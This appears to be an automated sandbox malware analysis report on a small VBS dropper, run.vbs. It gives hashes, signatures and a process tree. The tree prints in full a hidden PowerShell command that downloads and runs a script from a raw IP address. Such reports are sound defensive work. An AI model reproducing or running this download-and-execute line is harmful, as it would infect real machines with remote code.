Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2023, 06:49

General

  • Target

    run.vbs

  • Size

    269B

  • MD5

    3dba029327dfd9f7166738e4d851cb8a

  • SHA1

    14c8f1078e934ae31a41eac643e9a1cca2ecf0c6

  • SHA256

    666131bf5ae20a64b55a835006afae921f20fc23923aeaf0d918ebb4718f8e4e

  • SHA512

    39585229250c8d48093fa78f5779d785efbaf41ac5829070f9316f2b95368b940f25d04f0c2a2aa4dac36c71172a9f426ed9dea01a8c7d7bbd01a7b16b943787

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://138.68.134.18/main.ps1

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://138.68.134.18/main.ps1')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:632

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/632-4-0x000000001B230000-0x000000001B512000-memory.dmp

    Filesize

    2.9MB

  • memory/632-5-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

    Filesize

    32KB

  • memory/632-6-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

    Filesize

    9.6MB

  • memory/632-7-0x0000000002A30000-0x0000000002AB0000-memory.dmp

    Filesize

    512KB

  • memory/632-8-0x0000000002A30000-0x0000000002AB0000-memory.dmp

    Filesize

    512KB

  • memory/632-9-0x0000000002A30000-0x0000000002AB0000-memory.dmp

    Filesize

    512KB

  • memory/632-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

    Filesize

    9.6MB

  • memory/632-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

    Filesize

    9.6MB